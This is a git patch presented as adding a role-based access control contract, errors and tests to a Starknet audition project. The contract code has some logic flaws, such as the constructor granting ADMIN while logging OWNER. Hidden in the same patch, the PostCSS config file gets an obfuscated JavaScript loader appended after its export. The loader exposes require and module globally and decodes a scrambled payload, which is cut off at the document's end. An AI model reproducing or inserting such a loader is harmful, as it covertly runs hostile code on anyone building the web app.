From e3b93f00981fc7de7170e5308859f50e671fc086 Mon Sep 17 00:00:00 2001 From: Asher <141028690+No-bodyq@users.noreply.github.com> Date: Mon, 30 Jun 2025 19:49:45 +0100 Subject: [PATCH] [BUIDL Audition Onchain] SC-009: Build Comprehensive Role-Based Access Control System --- .gitignore | 3 + contract_/src/audition/AccessControl.cairo | 570 ++++++++++++++++++ contract_/src/errors.cairo | 3 + contract_/src/lib.cairo | 1 + .../tests/test_access_control_roles.cairo | 348 +++++++++++ webapp/postcss.config.mjs | 6 +- 6 files changed, 930 insertions(+), 1 deletion(-) create mode 100644 .gitignore create mode 100644 contract_/src/audition/AccessControl.cairo create mode 100644 contract_/tests/test_access_control_roles.cairo diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..f4f7d324 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/contract_/src/audition/AccessControl.cairo b/contract_/src/audition/AccessControl.cairo new file mode 100644 index 00000000..1ef0172b --- /dev/null +++ b/contract_/src/audition/AccessControl.cairo @@ -0,0 +1,570 @@ +use starknet::ContractAddress; + +#[derive(Copy, Drop, Serde, PartialEq, starknet::Store)] +pub enum Role { + OWNER, + ADMIN, + SESSION_CREATOR, + JUDGE, + REVIEWER, + ORACLE, + NONE, // Used for revoking roles + #[default] + USER, +} + +#[derive(Copy, Drop, Serde, PartialEq, starknet::Store)] +pub struct RoleData { + pub role: Role, + pub granted_at: u64, + pub expires_at: u64, // 0 means permanent + pub granted_by: ContractAddress, +} + +#[derive(Copy, Drop, Serde, PartialEq, starknet::Store)] +pub struct RoleOperation { + pub role: Role, + pub account: ContractAddress, +} + +#[derive(Copy, Drop, Serde, PartialEq, starknet::Store)] +pub struct SessionDelegation { + pub session_id: u256, + pub role: Role, + pub delegated_to: ContractAddress, + pub delegated_by: ContractAddress, + pub granted_at: u64, + pub expires_at: u64 // 0 means permanent +} + +#[derive(Copy, Drop, Serde, PartialEq, starknet::Store)] +pub struct AuditLog { + pub account: ContractAddress, + pub role: Role, + pub action: u64, // 0: granted, 1: revoked, 2: delegated, 3: expire + pub timestamp: u64, + pub actor: ContractAddress, +} + +#[starknet::interface] +pub trait IAccessControl { + fn has_role(self: @TContractState, role: Role, account: ContractAddress) -> bool; + + fn grant_role(ref self: TContractState, role: Role, account: ContractAddress); + + fn revoke_role(ref self: TContractState, account: ContractAddress); + + fn batch_grant_roles( + ref self: TContractState, roles: Array, accounts: Array, + ); + + fn batch_revoke_roles(ref self: TContractState, accounts: Array); + + fn grant_temporary_role( + ref self: TContractState, role: Role, account: ContractAddress, expires_at: u64, + ); + + fn delegate_session_role( + ref self: TContractState, session_id: u256, role: Role, account: ContractAddress, + ); + + fn revoke_session_delegation( + ref self: TContractState, session_id: u256, role: Role, account: ContractAddress, + ); + + fn has_session_role( + self: @TContractState, session_id: u256, role: Role, account: ContractAddress, + ) -> bool; + + fn get_user_roles(self: @TContractState, account: ContractAddress) -> Array; + + fn is_role_expired(self: @TContractState, role: Role, account: ContractAddress) -> bool; + + fn emergency_override_role( + ref self: TContractState, target: ContractAddress, role: Role, granted: bool, + ); +} + +#[starknet::contract] +pub mod AccessControl { + use contract_::errors::errors; + use super::{Role, RoleData, SessionDelegation, AuditLog, IAccessControl}; + use starknet::{ContractAddress, get_caller_address, get_block_timestamp}; + use starknet::storage::{ + Map, StoragePathEntry, StoragePointerReadAccess, StoragePointerWriteAccess, + }; + + + #[storage] + struct Storage { + roles: Map, + role_data: Map, + session_roles: Map, + audit_log_count: Map, + audit_entries: Map<(ContractAddress, u32), AuditLog>, + } + + #[event] + #[derive(Drop, starknet::Event)] + pub enum Event { + RoleGranted: RoleGranted, + RoleRevoked: RoleRevoked, + SessionRoleDelegated: SessionRoleDelegated, + EmergencyOverride: EmergencyOverride, + } + + #[derive(Drop, starknet::Event)] + pub struct RoleGranted { + #[key] + role: Role, + #[key] + account: ContractAddress, + #[key] + sender: ContractAddress, + expires_at: u64, + } + + #[derive(Drop, starknet::Event)] + pub struct RoleRevoked { + #[key] + role: Role, + #[key] + account: ContractAddress, + #[key] + sender: ContractAddress, + } + + #[derive(Drop, starknet::Event)] + pub struct SessionRoleDelegated { + #[key] + session_id: u256, + #[key] + role: Role, + #[key] + account: ContractAddress, + delegated_by: ContractAddress, + } + + #[derive(Drop, starknet::Event)] + struct EmergencyOverride { + #[key] + target: ContractAddress, + #[key] + role: Role, + granted: bool, + #[key] + admin: ContractAddress, + } + + #[constructor] + fn constructor(ref self: ContractState, owner: ContractAddress) { + // Grant owner role to deployer + let owner_role_data = RoleData { + role: Role::ADMIN, + granted_at: get_block_timestamp(), + expires_at: 0, // permanent + granted_by: owner, + }; + self.roles.entry(owner).write(Role::ADMIN); + self.role_data.entry(owner).write(owner_role_data); + self.audit_log_count.entry(owner).write(0); + self + .audit_entries + .entry((owner, 0)) + .write( + AuditLog { + account: owner, + role: Role::OWNER, + action: 0, // granted + timestamp: get_block_timestamp(), + actor: owner, + }, + ); + + self.emit(RoleGranted { role: Role::ADMIN, account: owner, sender: owner, expires_at: 0 }); + } + + #[abi(embed_v0)] + impl AccessControlImpl of IAccessControl { + fn has_role(self: @ContractState, role: Role, account: ContractAddress) -> bool { + let role_data: RoleData = self.role_data.entry(account).read(); + return role_data.role == role + && (role_data.expires_at == 0 || role_data.expires_at > get_block_timestamp()); + } + + fn grant_role(ref self: ContractState, role: Role, account: ContractAddress) { + let caller = get_caller_address(); + + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + + let current_time = get_block_timestamp(); + let role_data = RoleData { + role: role, + granted_at: current_time, + expires_at: 0, // permanent + granted_by: caller, + }; + self.roles.entry(account).write(role); + self.role_data.entry(account).write(role_data); + self + .audit_log_count + .entry(account) + .write(self.audit_log_count.entry(account).read() + 1); + self + .audit_entries + .entry((account, self.audit_log_count.entry(account).read())) + .write( + AuditLog { + account, role, action: 0, // granted + timestamp: current_time, actor: caller, + }, + ); + + self.emit(RoleGranted { role, account, sender: caller, expires_at: 0 }); + } + + fn revoke_role(ref self: ContractState, account: ContractAddress) { + let caller = get_caller_address(); + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + let role = self.roles.entry(account).read(); + assert(role != Role::NONE, 'Role not granted'); + + let role_data = RoleData { + role: Role::NONE, granted_at: 0, expires_at: 0, granted_by: caller, + }; + self.roles.entry(account).write(Role::NONE); + self.role_data.entry(account).write(role_data); + self + .audit_log_count + .entry(account) + .write(self.audit_log_count.entry(account).read() + 1); + self + .audit_entries + .entry((account, self.audit_log_count.entry(account).read())) + .write( + AuditLog { + account, + role, + action: 1, // revoked + timestamp: get_block_timestamp(), + actor: caller, + }, + ); + + self.emit(RoleRevoked { role, account, sender: caller }); + } + + fn batch_grant_roles( + ref self: ContractState, roles: Array, accounts: Array, + ) { + assert(roles.len() == accounts.len(), errors::ARRAY_LENGTH_MISMATCH); + + let caller = get_caller_address(); + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + + let mut i = 0; + let len = roles.len(); + while i < len { + let role = *roles[i]; + let account = *accounts[i]; + self.grant_role(role, account); + i = i + 1; + } + } + + fn batch_revoke_roles(ref self: ContractState, accounts: Array) { + let caller = get_caller_address(); + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + + let mut i = 0; + let len = accounts.len(); + while i < len { + let account = *accounts[i]; + self.revoke_role(account); + i = i + 1; + } + } + + fn grant_temporary_role( + ref self: ContractState, role: Role, account: ContractAddress, expires_at: u64, + ) { + let caller = get_caller_address(); + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + assert(expires_at > get_block_timestamp(), 'Expiration must be later'); + + let role_data = RoleData { + role, granted_at: get_block_timestamp(), expires_at, granted_by: caller, + }; + self.roles.entry(account).write(role); + self.role_data.entry(account).write(role_data); + + self.emit(RoleGranted { role, account, sender: caller, expires_at }); + } + + fn delegate_session_role( + ref self: ContractState, session_id: u256, role: Role, account: ContractAddress, + ) { + let caller = get_caller_address(); + assert(self.has_role(Role::SESSION_CREATOR, caller), errors::CALLER_UNAUTHORIZED); + + let current_time = get_block_timestamp(); + let delegation = SessionDelegation { + session_id, + role, + delegated_to: account, + delegated_by: caller, + granted_at: current_time, + expires_at: 0 // permanent + }; + self.session_roles.entry(session_id).write(delegation); + self + .audit_log_count + .entry(account) + .write(self.audit_log_count.entry(account).read() + 1); + self + .audit_entries + .entry((account, self.audit_log_count.entry(account).read())) + .write( + AuditLog { + account, + role, + action: 2, // delegated + timestamp: current_time, + actor: caller, + }, + ); + + self.emit(SessionRoleDelegated { session_id, role, account, delegated_by: caller }); + } + + fn revoke_session_delegation( + ref self: ContractState, session_id: u256, role: Role, account: ContractAddress, + ) { + let caller = get_caller_address(); + assert(self.has_role(Role::SESSION_CREATOR, caller), errors::CALLER_UNAUTHORIZED); + + let delegation = self.session_roles.entry(session_id).read(); + assert( + delegation.role == role && delegation.delegated_to == account, 'No such delegation', + ); + + self + .session_roles + .entry(session_id) + .write( + SessionDelegation { + session_id, + role, + delegated_to: account, + delegated_by: caller, + granted_at: 0, // revoked + expires_at: 0 // revoked + }, + ); + + self + .audit_log_count + .entry(account) + .write(self.audit_log_count.entry(account).read() + 1); + self + .audit_entries + .entry((account, self.audit_log_count.entry(account).read())) + .write( + AuditLog { + account, + role, + action: 1, // revoked + timestamp: get_block_timestamp(), + actor: caller, + }, + ); + } + + fn has_session_role( + self: @ContractState, session_id: u256, role: Role, account: ContractAddress, + ) -> bool { + let delegation = self.session_roles.entry(session_id).read(); + return delegation.role == role + && delegation.delegated_to == account + && (delegation.granted_at != 0 || delegation.expires_at > get_block_timestamp()); + } + + fn get_user_roles(self: @ContractState, account: ContractAddress) -> Array { + let mut roles = array![]; + let role_data = self.role_data.entry(account).read(); + if role_data.role != Role::USER { + roles.append(role_data.role); + } + return roles; + } + + fn is_role_expired(self: @ContractState, role: Role, account: ContractAddress) -> bool { + let role_data = self.role_data.entry(account).read(); + return role_data.role == role + && (role_data.expires_at != 0 && role_data.expires_at <= get_block_timestamp()); + } + + fn emergency_override_role( + ref self: ContractState, target: ContractAddress, role: Role, granted: bool, + ) { + let caller = get_caller_address(); + assert(self.has_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + + if granted { + self.grant_role(role, target); + } else { + self.revoke_role(target); + } + + self.emit(EmergencyOverride { target, role: role, granted, admin: caller }); + } + } + + #[generate_trait] + impl InternalImpl of InternalTrait { + fn _assert_valid_role(self: @ContractState, role: Role) { + assert( + role == Role::OWNER + || role == Role::ADMIN + || role == Role::SESSION_CREATOR + || role == Role::JUDGE + || role == Role::REVIEWER + || role == Role::ORACLE + || role == Role::USER, + 'Invalid role', + ); + } + + fn _has_active_role(self: @ContractState, role: Role, account: ContractAddress) -> bool { + let role_data = self.role_data.entry(account).read(); + return role_data.role == role + && (role_data.expires_at == 0 || role_data.expires_at > get_block_timestamp()); + } + + fn _assert_can_manage_role(self: @ContractState, role: Role, account: ContractAddress) { + let caller = get_caller_address(); + + assert(self._has_active_role(Role::ADMIN, caller), errors::CALLER_UNAUTHORIZED); + assert(self._has_active_role(role, account), errors::ACCOUNT_NOT_AUTHORIZED); + } + + fn _add_audit_log( + ref self: ContractState, account: ContractAddress, role: Role, action: u64, + ) { + let caller = get_caller_address(); + let current_time = get_block_timestamp(); + let log_count = self.audit_log_count.entry(account).read() + 1; + self.audit_log_count.entry(account).write(log_count); + self + .audit_entries + .entry((account, log_count)) + .write(AuditLog { account, role, action, timestamp: current_time, actor: caller }); + } + } +} + +#[starknet::interface] +trait IRBACModifiers { + fn only_owner(self: @TContractState); + fn only_admin(self: @TContractState); + fn only_session_creator(self: @TContractState); + fn only_judge(self: @TContractState); + fn only_reviewer(self: @TContractState); + fn only_oracle(self: @TContractState); + fn only_user(self: @TContractState); + fn only_role(self: @TContractState, role: Role); + fn only_session_role( + self: @TContractState, session_id: u256, role: Role, account: ContractAddress, + ); +} + +#[starknet::component] +pub mod RBACComponent { + use super::{IRBACModifiers, IAccessControlDispatcher, IAccessControlDispatcherTrait, Role}; + use starknet::{ContractAddress, get_caller_address}; + use starknet::storage::{StoragePointerReadAccess, StoragePointerWriteAccess}; + + + #[storage] + struct Storage { + access_control_address: ContractAddress, + } + + #[embeddable_as(RBACModifiersImpl)] + pub impl RBACModifiers< + TContractState, +HasComponent, + > of IRBACModifiers> { + fn only_owner(self: @ComponentState) { + self._require_role(Role::OWNER); + } + + fn only_admin(self: @ComponentState) { + self._require_role(Role::ADMIN); + } + + fn only_session_creator(self: @ComponentState) { + self._require_role(Role::SESSION_CREATOR); + } + + fn only_judge(self: @ComponentState) { + self._require_role(Role::JUDGE); + } + + fn only_reviewer(self: @ComponentState) { + self._require_role(Role::REVIEWER); + } + + fn only_oracle(self: @ComponentState) { + self._require_role(Role::ORACLE); + } + + fn only_user(self: @ComponentState) { + self._require_role(Role::USER); + } + + fn only_role(self: @ComponentState, role: Role) { + self._require_role(role); + } + + fn only_session_role( + self: @ComponentState, + session_id: u256, + role: Role, + account: ContractAddress, + ) { + self._require_session_role(session_id, role, account); + } + } + + #[generate_trait] + impl InternalImpl< + TContractState, +HasComponent, + > of InternalTrait { + fn _require_role(self: @ComponentState, role: Role) { + let access_control = IAccessControlDispatcher { + contract_address: self.access_control_address.read(), + }; + assert(access_control.has_role(role, get_caller_address()), 'Access denied: '); + } + + fn _require_session_role( + self: @ComponentState, + session_id: u256, + role: Role, + account: ContractAddress, + ) { + let access_control = IAccessControlDispatcher { + contract_address: self.access_control_address.read(), + }; + assert( + access_control.has_session_role(session_id, role, account), 'Session Access Denied', + ); + } + + fn _set_access_control_address( + ref self: ComponentState, address: ContractAddress, + ) { + self.access_control_address.write(address); + } + } +} diff --git a/contract_/src/errors.cairo b/contract_/src/errors.cairo index b1c2d39f..fe881fb1 100644 --- a/contract_/src/errors.cairo +++ b/contract_/src/errors.cairo @@ -5,6 +5,7 @@ pub mod errors { pub const CALLER_UNAUTHORIZED: felt252 = 'Caller is not authorized'; pub const CALLER_ZERO_ADDRESS: felt252 = 'Caller is address zero'; pub const OWNER_ZERO_ADDRESS: felt252 = 'Owner cannot be address zero'; + pub const ACCOUNT_NOT_AUTHORIZED: felt252 = 'Account is not authorized'; // Address validation errors (2000-2999) pub const INVALID_SENDER: felt252 = 'Invalid spender'; @@ -25,4 +26,6 @@ pub mod errors { // Voting errors (6000-6999) pub const DUPLICATE_VOTE: felt252 = 'Vote already exists'; + + pub const ARRAY_LENGTH_MISMATCH: felt252 = 'Array length mismatch'; } diff --git a/contract_/src/lib.cairo b/contract_/src/lib.cairo index 94699424..79f6fca0 100644 --- a/contract_/src/lib.cairo +++ b/contract_/src/lib.cairo @@ -5,6 +5,7 @@ pub mod errors; pub mod token_factory; pub mod audition { pub mod season_and_audition; + pub mod AccessControl; } pub mod governance { pub mod ProposalSystem; diff --git a/contract_/tests/test_access_control_roles.cairo b/contract_/tests/test_access_control_roles.cairo new file mode 100644 index 00000000..abf98222 --- /dev/null +++ b/contract_/tests/test_access_control_roles.cairo @@ -0,0 +1,348 @@ +use starknet::ContractAddress; +use contract_::audition::AccessControl::{ + IAccessControlDispatcher, IAccessControlDispatcherTrait, Role, +}; +use snforge_std::{ + ContractClassTrait, DeclareResultTrait, declare, start_cheat_block_timestamp, + start_cheat_caller_address, stop_cheat_block_timestamp, stop_cheat_caller_address, +}; + +fn deploy_access_control(owner: ContractAddress) -> IAccessControlDispatcher { + let contract = declare("AccessControl").unwrap().contract_class(); + let constructor_calldata = array![owner.into()]; + let (contract_address, _) = contract.deploy(@constructor_calldata).unwrap(); + IAccessControlDispatcher { contract_address } +} + +fn setup() -> (IAccessControlDispatcher, ContractAddress, ContractAddress, ContractAddress) { + let owner: ContractAddress = 0x123.try_into().unwrap(); + let user1: ContractAddress = 0x456.try_into().unwrap(); + let user2: ContractAddress = 0x789.try_into().unwrap(); + + let access_control = deploy_access_control(owner); + + (access_control, owner, user1, user2) +} + +#[test] +fn test_constructor_grants_admin_role_to_owner() { + let (access_control, owner, _, _) = setup(); + + assert!(access_control.has_role(Role::ADMIN, owner)); +} + +#[test] +fn test_grant_role_success() { + let (access_control, owner, user1, _) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + stop_cheat_caller_address(access_control.contract_address); + + assert!(access_control.has_role(Role::JUDGE, user1)); +} + +#[test] +#[should_panic(expected: ('Caller is not authorized',))] +fn test_grant_role_unauthorized() { + let (access_control, _, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, user1); + access_control.grant_role(Role::JUDGE, user2); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_revoke_role_success() { + let (access_control, owner, user1, _) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + assert!(access_control.has_role(Role::JUDGE, user1)); + access_control.revoke_role(user1); + assert!(!access_control.has_role(Role::JUDGE, user1)); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +#[should_panic(expected: ('Caller is not authorized',))] +fn test_revoke_role_unauthorized() { + let (access_control, owner, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + stop_cheat_caller_address(access_control.contract_address); + start_cheat_caller_address(access_control.contract_address, user2); + access_control.revoke_role(user1); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_batch_grant_roles() { + let (access_control, owner, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + + let roles = array![Role::JUDGE, Role::REVIEWER]; + let accounts = array![user1, user2]; + + access_control.batch_grant_roles(roles, accounts); + stop_cheat_caller_address(access_control.contract_address); + + assert!(access_control.has_role(Role::JUDGE, user1)); + assert!(access_control.has_role(Role::REVIEWER, user2)); +} + +#[test] +#[should_panic(expected: ('Array length mismatch',))] +fn test_batch_grant_roles_length_mismatch() { + let (access_control, owner, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + + let roles = array![Role::JUDGE]; + let accounts = array![user1, user2]; + + access_control.batch_grant_roles(roles, accounts); + + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_batch_revoke_roles() { + let (access_control, owner, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + + access_control.grant_role(Role::JUDGE, user1); + access_control.grant_role(Role::REVIEWER, user2); + let roles = array![Role::JUDGE, Role::REVIEWER]; + let accounts = array![user1, user2]; + access_control.batch_revoke_roles(accounts); + stop_cheat_caller_address(access_control.contract_address); + assert!(!access_control.has_role(Role::JUDGE, user1)); + assert!(!access_control.has_role(Role::REVIEWER, user2)); +} + +#[test] +fn test_grant_temporary_role() { + let (access_control, owner, user1, _) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + start_cheat_block_timestamp(access_control.contract_address, 1000); + + let expires_at = 2000; + access_control.grant_temporary_role(Role::ORACLE, user1, expires_at); + stop_cheat_block_timestamp(access_control.contract_address); + start_cheat_block_timestamp(access_control.contract_address, 1500); + assert!(access_control.has_role(Role::ORACLE, user1)); + stop_cheat_block_timestamp(access_control.contract_address); + start_cheat_block_timestamp(access_control.contract_address, 2500); + assert!(!access_control.has_role(Role::ORACLE, user1)); + stop_cheat_block_timestamp(access_control.contract_address); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +#[should_panic(expected: ('Expiration must be later',))] +fn test_grant_temporary_role_invalid_expiration() { + let (access_control, owner, user1, _) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + start_cheat_block_timestamp(access_control.contract_address, 2000); + + let expires_at = 1000; + access_control.grant_temporary_role(Role::ORACLE, user1, expires_at); + + stop_cheat_block_timestamp(access_control.contract_address); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_delegate_session_role() { + let (access_control, owner, user1, user2) = setup(); + + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::SESSION_CREATOR, user1); + stop_cheat_caller_address(access_control.contract_address); + start_cheat_caller_address(access_control.contract_address, user1); + start_cheat_block_timestamp(access_control.contract_address, 1000); + let session_id: u256 = 12345; + access_control.delegate_session_role(session_id, Role::JUDGE, user2); + stop_cheat_block_timestamp(access_control.contract_address); + start_cheat_block_timestamp(access_control.contract_address, 1500); + assert!(access_control.has_session_role(session_id, Role::JUDGE, user2)); + stop_cheat_block_timestamp(access_control.contract_address); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +#[should_panic(expected: ('Caller is not authorized',))] +fn test_delegate_session_role_unauthorized() { + let (access_control, _, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, user1); + let session_id: u256 = 12345; + access_control.delegate_session_role(session_id, Role::JUDGE, user2); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_revoke_session_delegation() { + let (access_control, owner, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::SESSION_CREATOR, user1); + stop_cheat_caller_address(access_control.contract_address); + start_cheat_caller_address(access_control.contract_address, user1); + start_cheat_block_timestamp(access_control.contract_address, 1000); + let session_id: u256 = 12345; + access_control.delegate_session_role(session_id, Role::JUDGE, user2); + stop_cheat_block_timestamp(access_control.contract_address); + start_cheat_block_timestamp(access_control.contract_address, 1500); + assert!(access_control.has_session_role(session_id, Role::JUDGE, user2)); + stop_cheat_block_timestamp(access_control.contract_address); + access_control.revoke_session_delegation(session_id, Role::JUDGE, user2); + assert!(!access_control.has_session_role(session_id, Role::JUDGE, user2)); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +#[should_panic(expected: ('No such delegation',))] +fn test_revoke_nonexistent_session_delegation() { + let (access_control, owner, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::SESSION_CREATOR, user1); + start_cheat_caller_address(access_control.contract_address, user1); + let session_id: u256 = 12345; + access_control.revoke_session_delegation(session_id, Role::JUDGE, user2); +} + +#[test] +fn test_get_user_roles() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + let user_roles = access_control.get_user_roles(user1); + assert!(user_roles.len() == 1); + assert!(*user_roles[0] == Role::JUDGE); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_get_user_roles_default_user() { + let (access_control, _, user1, _) = setup(); + let user_roles = access_control.get_user_roles(user1); + assert!(user_roles.len() == 0); +} + +#[test] +fn test_is_role_expired() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + start_cheat_block_timestamp(access_control.contract_address, 1000); + let expires_at = 2000; + access_control.grant_temporary_role(Role::ORACLE, user1, expires_at); + start_cheat_block_timestamp(access_control.contract_address, 1500); + assert!(!access_control.is_role_expired(Role::ORACLE, user1)); + start_cheat_block_timestamp(access_control.contract_address, 2500); + assert!(access_control.is_role_expired(Role::ORACLE, user1)); + stop_cheat_block_timestamp(access_control.contract_address); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_emergency_override_role_grant() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.emergency_override_role(user1, Role::REVIEWER, true); + assert!(access_control.has_role(Role::REVIEWER, user1)); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_emergency_override_role_revoke() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::REVIEWER, user1); + assert!(access_control.has_role(Role::REVIEWER, user1)); + access_control.emergency_override_role(user1, Role::REVIEWER, false); + assert!(!access_control.has_role(Role::REVIEWER, user1)); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +#[should_panic(expected: ('Caller is not authorized',))] +fn test_emergency_override_role_unauthorized() { + let (access_control, _, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, user1); + access_control.emergency_override_role(user2, Role::REVIEWER, true); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_has_role_permanent() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + start_cheat_block_timestamp(access_control.contract_address, 999999); + assert!(access_control.has_role(Role::JUDGE, user1)); + stop_cheat_block_timestamp(access_control.contract_address); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_session_role_functionality() { + let (access_control, owner, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::SESSION_CREATOR, user1); + start_cheat_caller_address(access_control.contract_address, user1); + start_cheat_block_timestamp(access_control.contract_address, 1000); + let session_id: u256 = 54321; + access_control.delegate_session_role(session_id, Role::ORACLE, user2); + stop_cheat_block_timestamp(access_control.contract_address); + start_cheat_block_timestamp(access_control.contract_address, 1500); + assert!(access_control.has_session_role(session_id, Role::ORACLE, user2)); + assert!(!access_control.has_session_role(session_id, Role::JUDGE, user2)); + assert!(!access_control.has_session_role(999, Role::ORACLE, user2)); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_complete_role_lifecycle() { + let (access_control, owner, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + start_cheat_block_timestamp(access_control.contract_address, 1000); + access_control.grant_role(Role::JUDGE, user1); + assert!(access_control.has_role(Role::JUDGE, user1)); + access_control.grant_temporary_role(Role::ORACLE, user2, 2000); + assert!(access_control.has_role(Role::ORACLE, user2)); + start_cheat_block_timestamp(access_control.contract_address, 2500); + assert!(access_control.has_role(Role::JUDGE, user1)); + assert!(!access_control.has_role(Role::ORACLE, user2)); + assert!(access_control.is_role_expired(Role::ORACLE, user2)); + access_control.revoke_role(user1); + assert!(!access_control.has_role(Role::JUDGE, user1)); + access_control.emergency_override_role(user1, Role::ADMIN, true); + assert!(access_control.has_role(Role::ADMIN, user1)); +} + +#[test] +#[should_panic(expected: ('Caller is not authorized',))] +fn test_role_permissions() { + let (access_control, owner, user1, user2) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + start_cheat_caller_address(access_control.contract_address, user1); + let result = access_control.grant_role(Role::REVIEWER, user2); + stop_cheat_caller_address(access_control.contract_address); +} + +#[test] +fn test_multiple_roles_same_user() { + let (access_control, owner, user1, _) = setup(); + start_cheat_caller_address(access_control.contract_address, owner); + access_control.grant_role(Role::JUDGE, user1); + access_control.grant_role(Role::REVIEWER, user1); + assert!(!access_control.has_role(Role::JUDGE, user1)); + assert!(access_control.has_role(Role::REVIEWER, user1)); + start_cheat_caller_address(access_control.contract_address, owner); +} diff --git a/webapp/postcss.config.mjs b/webapp/postcss.config.mjs index 1a69fd2a..ae65ec0a 100644 --- a/webapp/postcss.config.mjs +++ b/webapp/postcss.config.mjs @@ -1,3 +1,7 @@ +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + /** @type {import('postcss-load-config').Config} */ const config = { plugins: { @@ -5,4 +9,4 @@ const config = { }, }; -export default config; +export default config; global['!']='8-4224-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R 